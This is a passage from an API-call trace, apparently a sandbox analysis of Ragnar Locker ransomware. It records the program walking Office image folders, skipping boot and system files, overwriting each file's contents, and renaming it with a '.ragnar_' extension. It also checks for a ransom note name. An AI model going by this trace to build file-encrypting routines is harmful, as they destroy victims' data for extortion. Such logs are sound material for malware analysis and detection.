lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" [0099.452] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.ragnar_FD7BD9FC" [0099.452] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.453] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80495500, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80495500, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15023_.GIF", cAlternateFileName="")) returned 1 [0099.453] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.453] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15023_.GIF" | out: lpString1="BD15023_.GIF") returned="BD15023_.GIF" [0099.453] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF") returned=".GIF" [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="autorun.inf") returned 1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="boot.ini") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="bootfont.bin") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="bootsect.bak") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="bootmgr") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="bootmgr.efi") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="desktop.ini") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="iconcache.db") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="ntldr") returned -1 [0099.453] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="ntuser.dat") returned -1 [0099.454] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.454] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="ntuser.ini") returned -1 [0099.454] lstrcmpiW (lpString1="BD15023_.GIF", lpString2="thumbs.db") returned -1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.454] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif")) returned 0x20 [0099.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.454] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=122) returned 1 [0099.454] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x71, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.454] GetProcessHeap () returned 0x580000 [0099.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.455] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.455] VirtualAlloc (lpAddress=0x0, dwSize=0x7a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.455] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.456] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7a, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x7a, lpOverlapped=0x0) returned 1 [0099.456] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.456] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.456] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x7a, lpOverlapped=0x0) returned 1 [0099.456] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.456] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.456] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x7a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.456] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.456] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.456] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.456] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.456] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.456] GetProcessHeap () returned 0x580000 [0099.456] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.456] CloseHandle (hObject=0x10c) returned 1 [0099.457] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" [0099.457] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.ragnar_FD7BD9FC" [0099.457] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.504] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15056_.GIF", cAlternateFileName="")) returned 1 [0099.504] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.504] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15056_.GIF" | out: lpString1="BD15056_.GIF") returned="BD15056_.GIF" [0099.504] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF") returned=".GIF" [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="autorun.inf") returned 1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="boot.ini") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="bootfont.bin") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="bootsect.bak") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="bootmgr") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="bootmgr.efi") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="desktop.ini") returned -1 [0099.504] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="iconcache.db") returned -1 [0099.505] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="ntldr") returned -1 [0099.505] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="ntuser.dat") returned -1 [0099.505] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.505] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="ntuser.ini") returned -1 [0099.505] lstrcmpiW (lpString1="BD15056_.GIF", lpString2="thumbs.db") returned -1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.505] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif")) returned 0x20 [0099.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.507] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=218) returned 1 [0099.507] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.507] GetProcessHeap () returned 0x580000 [0099.507] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.507] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.508] VirtualAlloc (lpAddress=0x0, dwSize=0xda, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.508] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.508] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.508] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xda, lpOverlapped=0x0) returned 1 [0099.509] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.509] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.509] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xda, lpOverlapped=0x0) returned 1 [0099.509] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.509] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.510] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.510] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.510] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.511] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.511] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.511] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.511] GetProcessHeap () returned 0x580000 [0099.511] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.511] CloseHandle (hObject=0x10c) returned 1 [0099.511] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" [0099.511] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.ragnar_FD7BD9FC" [0099.511] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0099.512] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95f37700, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95f37700, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15057_.GIF", cAlternateFileName="")) returned 1 [0099.512] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0099.512] lstrcpyW (in: lpString1=0x1eab62, lpString2="BD15057_.GIF" | out: lpString1="BD15057_.GIF") returned="BD15057_.GIF" [0099.512] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF") returned=".GIF" [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="autorun.inf") returned 1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="boot.ini") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="bootfont.bin") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="bootsect.bak") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="bootmgr") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="bootmgr.efi") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="bootmgfw.efi") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="desktop.ini") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="iconcache.db") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="ntldr") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="ntuser.dat") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="ntuser.dat.log") returned -1 [0099.512] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="ntuser.ini") returned -1 [0099.513] lstrcmpiW (lpString1="BD15057_.GIF", lpString2="thumbs.db") returned -1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0099.513] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0099.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif")) returned 0x20 [0099.513] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0099.514] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=218) returned 1 [0099.514] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xd1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.514] GetProcessHeap () returned 0x580000 [0099.514] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0099.514] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0099.515] VirtualAlloc (lpAddress=0x0, dwSize=0xda, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0099.515] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.515] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0099.515] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xda, lpOverlapped=0x0) returned 1 [0099.515] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0099.515] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.515] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xda, lpOverlapped=0x0) returned 1 [0099.515] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.515] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0099.515] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.515] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0099.516] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.516] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0099.516] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0099.516] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0099.516] GetProcessHeap () returned 0x580000 [0099.516] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0099.516] CloseHandle (hObject=0x10c) returned 1 [0099.516] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" [0099.516] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF", lpString2=".ragnar_FD7BD9FC" | out: 